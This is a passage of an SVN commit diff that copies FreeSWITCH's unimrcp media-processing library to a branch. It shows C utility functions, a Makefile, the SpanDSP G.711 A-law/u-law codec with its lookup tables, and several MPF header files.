+
+	/* remove trailing 0s (if any) */
+	end = stream->pos + length -1;
+	while(*end == 0x30 && end != stream->pos) end--;
+
+	stream->pos = end + 1;
+	return TRUE;
+}
+
+/** Generate value plus the length (number of digits) of the value itself. */
+APT_DECLARE(apt_bool_t) apt_var_length_value_generate(apr_size_t *value, apr_size_t max_count, apt_str_t *str)
+{
+	/* (N >= (10^M-M)) ? N+M+1 : N+M */
+	apr_size_t temp;
+	apr_size_t count; /* M */
+	apr_size_t bounds; /* 10^M */
+	int length;
+
+	/* calculate count */
+	temp = *value;
+	count = 0;
+	do{count++; temp /= 10;} while(temp);
+
+	/* calculate bounds */
+	temp = count;
+	bounds = 1;
+	do{bounds *= 10; temp--;} while(temp);
+
+	if(*value >= bounds - count) {
+		count++;
+	}
+
+	*value += count;
+	if(count > max_count) {
+		return FALSE;
+	}
+
+	str->length = 0;
+	length = sprintf(str->buf, "%"APR_SIZE_T_FMT, *value);
+	if(length <= 0) {
+		return FALSE;
+	}
+	str->length = length;
+	return TRUE;
+}
+
+
+/** Generate unique identifier (hex string) */
+APT_DECLARE(apt_bool_t) apt_unique_id_generate(apt_str_t *id, apr_size_t length, apr_pool_t *pool)
+{
+	char *hex_str;
+	apr_size_t i;
+	apr_size_t count;
+	apr_uuid_t uuid;
+	apr_uuid_get(&uuid);
+	
+	hex_str = apr_palloc(pool,length+1);
+	
+	count = length / 2;
+	if(count > sizeof(uuid)) {
+		count = sizeof(uuid);
+	}
+	for(i=0; i<count; i++) {
+		sprintf(hex_str+i*2,"%02x",uuid.data[i]);
+	}
+	hex_str[length] = '\0';
+
+	id->buf = hex_str;
+	id->length = length;
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mpf


Name: svn:ignore
   + Makefile.in
Makefile
Debug
*.user
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+MAINTAINERCLEANFILES 	 = Makefile.in
+
+INCLUDES                 = -I$(top_srcdir)/libs/mpf/codecs \
+                           -I$(top_srcdir)/libs/mpf/include \
+                           -I$(top_srcdir)/libs/apr-toolkit/include \
+                           $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES       = libmpf.la
+
+include_HEADERS          = codecs/g711/g711.h \
+                           include/mpf.h \
+                           include/mpf_activity_detector.h \
+                           include/mpf_audio_file_descriptor.h \
+                           include/mpf_audio_file_stream.h \
+                           include/mpf_bridge.h \
+                           include/mpf_buffer.h \
+                           include/mpf_codec.h \
+                           include/mpf_codec_descriptor.h \
+                           include/mpf_codec_manager.h \
+                           include/mpf_context.h \
+                           include/mpf_engine.h \
+                           include/mpf_frame.h \
+                           include/mpf_frame_buffer.h \
+                           include/mpf_message.h \
+                           include/mpf_object.h \
+                           include/mpf_stream.h \
+                           include/mpf_stream_mode.h \
+                           include/mpf_termination.h \
+                           include/mpf_rtp_termination_factory.h \
+                           include/mpf_file_termination_factory.h \
+                           include/mpf_timer.h \
+                           include/mpf_types.h \
+                           include/mpf_encoder.h \
+                           include/mpf_decoder.h \
+                           include/mpf_jitter_buffer.h \
+                           include/mpf_rtp_header.h \
+                           include/mpf_rtp_descriptor.h \
+                           include/mpf_rtp_stream.h \
+                           include/mpf_rtp_stat.h \
+                           include/mpf_rtp_defs.h \
+                           include/mpf_rtp_attribs.h \
+                           include/mpf_media_descriptor.h \
+                           include/mpf_user.h
+
+libmpf_la_SOURCES        = codecs/g711/g711.c \
+                           src/mpf_activity_detector.c \
+                           src/mpf_audio_file_stream.c \
+                           src/mpf_bridge.c \
+                           src/mpf_buffer.c \
+                           src/mpf_codec_descriptor.c \
+                           src/mpf_codec_g711.c \
+                           src/mpf_codec_linear.c \
+                           src/mpf_codec_manager.c \
+                           src/mpf_context.c \
+                           src/mpf_engine.c \
+                           src/mpf_termination.c \
+                           src/mpf_rtp_termination_factory.c \
+                           src/mpf_file_termination_factory.c \
+                           src/mpf_frame_buffer.c \
+                           src/mpf_timer.c \
+                           src/mpf_encoder.c \
+                           src/mpf_decoder.c \
+                           src/mpf_jitter_buffer.c \
+                           src/mpf_rtp_stream.c \
+                           src/mpf_rtp_attribs.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/codecs)

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711 (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/codecs/g711)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/codecs/g711/g711.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * g711.c - A-law and u-law transcoding routines
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ *  Despite my general liking of the GPL, I place this code in the
+ *  public domain for the benefit of all mankind - even the slimy
+ *  ones who might try to proprietize my work and use it to my
+ *  detriment.
+ *
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <assert.h>
+#ifndef _MSC_VER
+#include <inttypes.h>
+#ifdef HAVE_TGMATH_H
+#include <tgmath.h>
+#endif
+#endif
+
+#include "g711.h"
+
+/* Copied from the CCITT G.711 specification */
+static const uint8_t ulaw_to_alaw_table[256] =
+{
+     42,  43,  40,  41,  46,  47,  44,  45,  34,  35,  32,  33,  38,  39,  36,  37,
+     58,  59,  56,  57,  62,  63,  60,  61,  50,  51,  48,  49,  54,  55,  52,  53,
+     10,  11,   8,   9,  14,  15,  12,  13,   2,   3,   0,   1,   6,   7,   4,  26,
+     27,  24,  25,  30,  31,  28,  29,  18,  19,  16,  17,  22,  23,  20,  21, 106,
+    104, 105, 110, 111, 108, 109,  98,  99,  96,  97, 102, 103, 100, 101, 122, 120,
+    126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117,  75,  73,  79,  77,
+     66,  67,  64,  65,  70,  71,  68,  69,  90,  91,  88,  89,  94,  95,  92,  93,
+     82,  82,  83,  83,  80,  80,  81,  81,  86,  86,  87,  87,  84,  84,  85,  85,
+    170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+    186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
+    138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
+    155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
+    232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
+    254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
+    194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
+    210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
+};
+
+/* These transcoding tables are copied from the CCITT G.711 specification. To achieve
+   optimal results, do not change them. */
+
+static const uint8_t alaw_to_ulaw_table[256] =
+{
+     42,  43,  40,  41,  46,  47,  44,  45,  34,  35,  32,  33,  38,  39,  36,  37,
+     57,  58,  55,  56,  61,  62,  59,  60,  49,  50,  47,  48,  53,  54,  51,  52,
+     10,  11,   8,   9,  14,  15,  12,  13,   2,   3,   0,   1,   6,   7,   4,   5,
+     26,  27,  24,  25,  30,  31,  28,  29,  18,  19,  16,  17,  22,  23,  20,  21,
+     98,  99,  96,  97, 102, 103, 100, 101,  93,  93,  92,  92,  95,  95,  94,  94,
+    116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
+     72,  73,  70,  71,  76,  77,  74,  75,  64,  65,  63,  63,  68,  69,  66,  67,
+     86,  87,  84,  85,  90,  91,  88,  89,  79,  79,  78,  78,  82,  83,  80,  81,
+    170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+    185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
+    138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
+    154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
+    226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
+    244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
+    200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
+    214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
+};
+
+uint8_t alaw_to_ulaw(uint8_t alaw)
+{
+    return alaw_to_ulaw_table[alaw];
+}
+/*- End of function --------------------------------------------------------*/
+
+uint8_t ulaw_to_alaw(uint8_t ulaw)
+{
+    return ulaw_to_alaw_table[ulaw];
+}
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/codecs/g711/g711.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/codecs/g711/g711.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,381 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * g711.h - In line A-law and u-law conversion routines
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ *  Despite my general liking of the GPL, I place this code in the
+ *  public domain for the benefit of all mankind - even the slimy
+ *  ones who might try to proprietize my work and use it to my
+ *  detriment.
+ *
+ */
+
+/*! \file */
+
+/*! \page g711_page A-law and mu-law handling
+Lookup tables for A-law and u-law look attractive, until you consider the impact
+on the CPU cache. If it causes a substantial area of your processor cache to get
+hit too often, cache sloshing will severely slow things down. The main reason
+these routines are slow in C, is the lack of direct access to the CPU's "find
+the first 1" instruction. A little in-line assembler fixes that, and the
+conversion routines can be faster than lookup tables, in most real world usage.
+A "find the first 1" instruction is available on most modern CPUs, and is a
+much underused feature. 
+
+If an assembly language method of bit searching is not available, these routines
+revert to a method that can be a little slow, so the cache thrashing might not
+seem so bad :(
+
+Feel free to submit patches to add fast "find the first 1" support for your own
+favourite processor.
+
+Look up tables are used for transcoding between A-law and u-law, since it is
+difficult to achieve the precise transcoding procedure laid down in the G.711
+specification by other means.
+*/
+
+#if !defined(_G711_H_)
+#define _G711_H_
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef _MSC_VER
+#ifndef __inline__
+#define __inline__ __inline
+#endif
+typedef unsigned __int8 uint8_t;
+typedef __int16 int16_t;
+typedef __int32 int32_t;
+typedef unsigned __int16 uint16_t;
+#endif
+
+#if defined(__i386__)
+/*! \brief Find the bit position of the highest set bit in a word
+    \param bits The word to be searched
+    \return The bit number of the highest set bit, or -1 if the word is zero. */
+static __inline__ int top_bit(unsigned int bits)
+{
+    int res;
+
+    __asm__ __volatile__(" movl $-1,%%edx;\n"
+                         " bsrl %%eax,%%edx;\n"
+                         : "=d" (res)
+                         : "a" (bits));
+    return res;
+}
+/*- End of function --------------------------------------------------------*/
+
+/*! \brief Find the bit position of the lowest set bit in a word
+    \param bits The word to be searched
+    \return The bit number of the lowest set bit, or -1 if the word is zero. */
+static __inline__ int bottom_bit(unsigned int bits)
+{
+    int res;
+
+    __asm__ __volatile__(" movl $-1,%%edx;\n"
+                         " bsfl %%eax,%%edx;\n"
+                         : "=d" (res)
+                         : "a" (bits));
+    return res;
+}
+/*- End of function --------------------------------------------------------*/
+#elif defined(__x86_64__)
+static __inline__ int top_bit(unsigned int bits)
+{
+    int res;
+
+    __asm__ __volatile__(" movq $-1,%%rdx;\n"
+                         " bsrq %%rax,%%rdx;\n"
+                         : "=d" (res)
+                         : "a" (bits));
+    return res;
+}
+/*- End of function --------------------------------------------------------*/
+
+static __inline__ int bottom_bit(unsigned int bits)
+{
+    int res;
+
+    __asm__ __volatile__(" movq $-1,%%rdx;\n"
+                         " bsfq %%rax,%%rdx;\n"
+                         : "=d" (res)
+                         : "a" (bits));
+    return res;
+}
+/*- End of function --------------------------------------------------------*/
+#else
+static __inline__ int top_bit(unsigned int bits)
+{
+    int i;
+    
+    if (bits == 0)
+        return -1;
+    i = 0;
+    if (bits & 0xFFFF0000)
+    {
+        bits &= 0xFFFF0000;
+        i += 16;
+    }
+    if (bits & 0xFF00FF00)
+    {
+        bits &= 0xFF00FF00;
+        i += 8;
+    }
+    if (bits & 0xF0F0F0F0)
+    {
+        bits &= 0xF0F0F0F0;
+        i += 4;
+    }
+    if (bits & 0xCCCCCCCC)
+    {
+        bits &= 0xCCCCCCCC;
+        i += 2;
+    }
+    if (bits & 0xAAAAAAAA)
+    {
+        bits &= 0xAAAAAAAA;
+        i += 1;
+    }
+    return i;
+}
+/*- End of function --------------------------------------------------------*/
+
+static __inline__ int bottom_bit(unsigned int bits)
+{
+    int i;
+    
+    if (bits == 0)
+        return -1;
+    i = 32;
+    if (bits & 0x0000FFFF)
+    {
+        bits &= 0x0000FFFF;
+        i -= 16;
+    }
+    if (bits & 0x00FF00FF)
+    {
+        bits &= 0x00FF00FF;
+        i -= 8;
+    }
+    if (bits & 0x0F0F0F0F)
+    {
+        bits &= 0x0F0F0F0F;
+        i -= 4;
+    }
+    if (bits & 0x33333333)
+    {
+        bits &= 0x33333333;
+        i -= 2;
+    }
+    if (bits & 0x55555555)
+    {
+        bits &= 0x55555555;
+        i -= 1;
+    }
+    return i;
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+/* N.B. It is tempting to use look-up tables for A-law and u-law conversion.
+ *      However, you should consider the cache footprint.
+ *
+ *      A 64K byte table for linear to x-law and a 512 byte table for x-law to
+ *      linear sound like peanuts these days, and shouldn't an array lookup be
+ *      real fast? No! When the cache sloshes as badly as this one will, a tight
+ *      calculation may be better. The messiest part is normally finding the
+ *      segment, but a little inline assembly can fix that on an i386, x86_64 and
+ *      many other modern processors.
+ */
+ 
+/*
+ * Mu-law is basically as follows:
+ *
+ *      Biased Linear Input Code        Compressed Code
+ *      ------------------------        ---------------
+ *      00000001wxyza                   000wxyz
+ *      0000001wxyzab                   001wxyz
+ *      000001wxyzabc                   010wxyz
+ *      00001wxyzabcd                   011wxyz
+ *      0001wxyzabcde                   100wxyz
+ *      001wxyzabcdef                   101wxyz
+ *      01wxyzabcdefg                   110wxyz
+ *      1wxyzabcdefgh                   111wxyz
+ *
+ * Each biased linear code has a leading 1 which identifies the segment
+ * number. The value of the segment number is equal to 7 minus the number
+ * of leading 0's. The quantization interval is directly available as the
+ * four bits wxyz.  * The trailing bits (a - h) are ignored.
+ *
+ * Ordinarily the complement of the resulting code word is used for
+ * transmission, and so the code word is complemented before it is returned.
+ *
+ * For further information see John C. Bellamy's Digital Telephony, 1982,
+ * John Wiley & Sons, pps 98-111 and 472-476.
+ */
+
+//#define ULAW_ZEROTRAP                 /* turn on the trap as per the MIL-STD */
+#define ULAW_BIAS        0x84           /* Bias for linear code. */
+
+/*! \brief Encode a linear sample to u-law
+    \param linear The sample to encode.
+    \return The u-law value.
+*/
+static __inline__ uint8_t linear_to_ulaw(int linear)
+{
+    uint8_t u_val;
+    int mask;
+    int seg;
+
+    /* Get the sign and the magnitude of the value. */
+    if (linear < 0)
+    {
+        linear = ULAW_BIAS - linear;
+        mask = 0x7F;
+    }
+    else
+    {
+        linear = ULAW_BIAS + linear;
+        mask = 0xFF;
+    }
+
+    seg = top_bit(linear | 0xFF) - 7;
+
+    /*
+     * Combine the sign, segment, quantization bits,
+     * and complement the code word.
+     */
+    if (seg >= 8)
+        u_val = (uint8_t) (0x7F ^ mask);
+    else
+        u_val = (uint8_t) (((seg << 4) | ((linear >> (seg + 3)) & 0xF)) ^ mask);
+#ifdef ULAW_ZEROTRAP
+    /* Optional ITU trap */
+    if (u_val == 0)
+        u_val = 0x02;
+#endif
+    return  u_val;
+}
+/*- End of function --------------------------------------------------------*/
+
+/*! \brief Decode an u-law sample to a linear value.
+    \param ulaw The u-law sample to decode.
+    \return The linear value.
+*/
+static __inline__ int16_t ulaw_to_linear(uint8_t ulaw)
+{
+    int t;
+    
+    /* Complement to obtain normal u-law value. */
+    ulaw = ~ulaw;
+    /*
+     * Extract and bias the quantization bits. Then
+     * shift up by the segment number and subtract out the bias.
+     */
+    t = (((ulaw & 0x0F) << 3) + ULAW_BIAS) << (((int) ulaw & 0x70) >> 4);
+    return  (int16_t) ((ulaw & 0x80)  ?  (ULAW_BIAS - t)  :  (t - ULAW_BIAS));
+}
+/*- End of function --------------------------------------------------------*/
+
+/*
+ * A-law is basically as follows:
+ *
+ *      Linear Input Code        Compressed Code
+ *      -----------------        ---------------
+ *      0000000wxyza             000wxyz
+ *      0000001wxyza             001wxyz
+ *      000001wxyzab             010wxyz
+ *      00001wxyzabc             011wxyz
+ *      0001wxyzabcd             100wxyz
+ *      001wxyzabcde             101wxyz
+ *      01wxyzabcdef             110wxyz
+ *      1wxyzabcdefg             111wxyz
+ *
+ * For further information see John C. Bellamy's Digital Telephony, 1982,
+ * John Wiley & Sons, pps 98-111 and 472-476.
+ */
+
+#define ALAW_AMI_MASK       0x55
+
+/*! \brief Encode a linear sample to A-law
+    \param linear The sample to encode.
+    \return The A-law value.
+*/
+static __inline__ uint8_t linear_to_alaw(int linear)
+{
+    int mask;
+    int seg;
+    
+    if (linear >= 0)
+    {
+        /* Sign (bit 7) bit = 1 */
+        mask = ALAW_AMI_MASK | 0x80;
+    }
+    else
+    {
+        /* Sign (bit 7) bit = 0 */
+        mask = ALAW_AMI_MASK;
+        linear = -linear - 8;
+    }
+
+    /* Convert the scaled magnitude to segment number. */
+    seg = top_bit(linear | 0xFF) - 7;
+    if (seg >= 8)
+    {
+        if (linear >= 0)
+        {
+            /* Out of range. Return maximum value. */
+            return (uint8_t) (0x7F ^ mask);
+        }
+        /* We must be just a tiny step below zero */
+        return (uint8_t) (0x00 ^ mask);
+    }
+    /* Combine the sign, segment, and quantization bits. */
+    return (uint8_t) (((seg << 4) | ((linear >> ((seg)  ?  (seg + 3)  :  4)) & 0x0F)) ^ mask);
+}
+/*- End of function --------------------------------------------------------*/
+
+/*! \brief Decode an A-law sample to a linear value.
+    \param alaw The A-law sample to decode.
+    \return The linear value.
+*/
+static __inline__ int16_t alaw_to_linear(uint8_t alaw)
+{
+    int i;
+    int seg;
+
+    alaw ^= ALAW_AMI_MASK;
+    i = ((alaw & 0x0F) << 4);
+    seg = (((int) alaw & 0x70) >> 4);
+    if (seg)
+        i = (i + 0x108) << (seg - 1);
+    else
+        i += 8;
+    return (int16_t) ((alaw & 0x80)  ?  i  :  -i);
+}
+/*- End of function --------------------------------------------------------*/
+
+/*! \brief Transcode from A-law to u-law, using the procedure defined in G.711.
+    \param alaw The A-law sample to transcode.
+    \return The best matching u-law value.
+*/
+uint8_t alaw_to_ulaw(uint8_t alaw);
+
+/*! \brief Transcode from u-law to A-law, using the procedure defined in G.711.
+    \param alaw The u-law sample to transcode.
+    \return The best matching A-law value.
+*/
+uint8_t ulaw_to_alaw(uint8_t ulaw);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_H__
+#define __MPF_H__
+
+/**
+ * @file mpf.h
+ * @brief Media Processing Framework Definitions
+ */ 
+
+#include <apt.h>
+
+/** lib export/import defines (win32) */
+#ifdef WIN32
+#ifdef MPF_STATIC_LIB
+#define MPF_DECLARE(type)   type __stdcall
+#else
+#ifdef MPF_LIB_EXPORT
+#define MPF_DECLARE(type)   __declspec(dllexport) type __stdcall
+#else
+#define MPF_DECLARE(type)   __declspec(dllimport) type __stdcall
+#endif
+#endif
+#else
+#define MPF_DECLARE(type) type
+#endif
+
+#endif /*__MPF_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_activity_detector.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_activity_detector.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_activity_detector.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_activity_detector.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_activity_detector.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_ACTIVITY_DETECTOR_H__
+#define __MPF_ACTIVITY_DETECTOR_H__
+
+/**
+ * @file mpf_activity_detector.h
+ * @brief MPF Voice Activity Detector
+ */ 
+
+#include "mpf_frame.h"
+#include "mpf_codec.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque (voice) activity detector */
+typedef struct mpf_activity_detector_t mpf_activity_detector_t;
+
+/** Events of activity detector */
+typedef enum {
+	MPF_DETECTOR_EVENT_NONE,       /**< no event occurred */
+	MPF_DETECTOR_EVENT_ACTIVITY,   /**< voice activity (transition to activity from inactivity state) */
+	MPF_DETECTOR_EVENT_INACTIVITY, /**< voice inactivity (transition to inactivity from activity state) */
+	MPF_DETECTOR_EVENT_NOINPUT     /**< noinput event occurred */
+} mpf_detector_event_e;
+
+
+/** Create activity detector */
+MPF_DECLARE(mpf_activity_detector_t*) mpf_activity_detector_create(apr_pool_t *pool);
+
+/** Reset activity detector */
+MPF_DECLARE(void) mpf_activity_detector_reset(mpf_activity_detector_t *detector);
+
+/** Set threshold of voice activity (silence) level */
+MPF_DECLARE(void) mpf_activity_detector_level_set(mpf_activity_detector_t *detector, apr_size_t level_threshold);
+
+/** Set noinput timeout */
+MPF_DECLARE(void) mpf_activity_detector_noinput_timeout_set(mpf_activity_detector_t *detector, apr_size_t noinput_timeout);
+
+/** Set transition complete timeout */
+MPF_DECLARE(void) mpf_activity_detector_complete_timeout_set(mpf_activity_detector_t *detector, apr_size_t complete_timeout);
+
+/** Process current frame, return detected event if any */
+MPF_DECLARE(mpf_detector_event_e) mpf_activity_detector_process(mpf_activity_detector_t *detector, const mpf_frame_t *frame);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_ACTIVITY_DETECTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_descriptor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_descriptor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_audio_file_descriptor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_descriptor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_descriptor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_AUDIO_FILE_DESCRIPTOR_H__
+#define __MPF_AUDIO_FILE_DESCRIPTOR_H__
+
+/**
+ * @file mpf_audio_file_descriptor.h
+ * @brief MPF Audio File Descriptor
+ */ 
+
+#include <stdio.h>
+#include "mpf_stream_mode.h"
+#include "mpf_codec_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** FILE_READER is defined as STREAM_MODE_RECEIVE */
+#define FILE_READER STREAM_MODE_RECEIVE
+/** FILE_WRITER is defined as STREAM_MODE_SEND */
+#define FILE_WRITER STREAM_MODE_SEND
+
+/** Audio file descriptor declaration */
+typedef struct mpf_audio_file_descriptor_t mpf_audio_file_descriptor_t;
+
+/** Audio file descriptor */
+struct mpf_audio_file_descriptor_t {
+	/** Indicate what descriptor for (reader and/or write) */
+	mpf_stream_mode_e      mask;
+	/** Codec descriptor to use for audio file read/write */
+	mpf_codec_descriptor_t codec_descriptor;
+	/** File handle to read audio stream */
+	FILE                  *read_handle;
+	/** File handle to write audio stream */
+	FILE                  *write_handle;
+	/** Max size of file  */
+	apr_size_t             max_write_size;
+};
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_AUDIO_FILE_DESCRIPTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_stream.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_stream.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_audio_file_stream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_stream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_audio_file_stream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_AUDIO_FILE_STREAM_H__
+#define __MPF_AUDIO_FILE_STREAM_H__
+
+/**
+ * @file mpf_audio_file_stream.h
+ * @brief MPF Audio FIle Stream
+ */ 
+
+#include "mpf_stream.h"
+#include "mpf_audio_file_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create file stream.
+ * @param termination the back pointer to hold
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_audio_stream_t*) mpf_file_stream_create(mpf_termination_t *termination, apr_pool_t *pool);
+
+/**
+ * Modify file stream.
+ * @param stream file stream to modify
+ * @param descriptor the descriptor to modify stream according
+ */
+MPF_DECLARE(apt_bool_t) mpf_file_stream_modify(mpf_audio_stream_t *stream, mpf_audio_file_descriptor_t *descriptor);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_AUDIO_FILE_STREAM_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_bridge.h

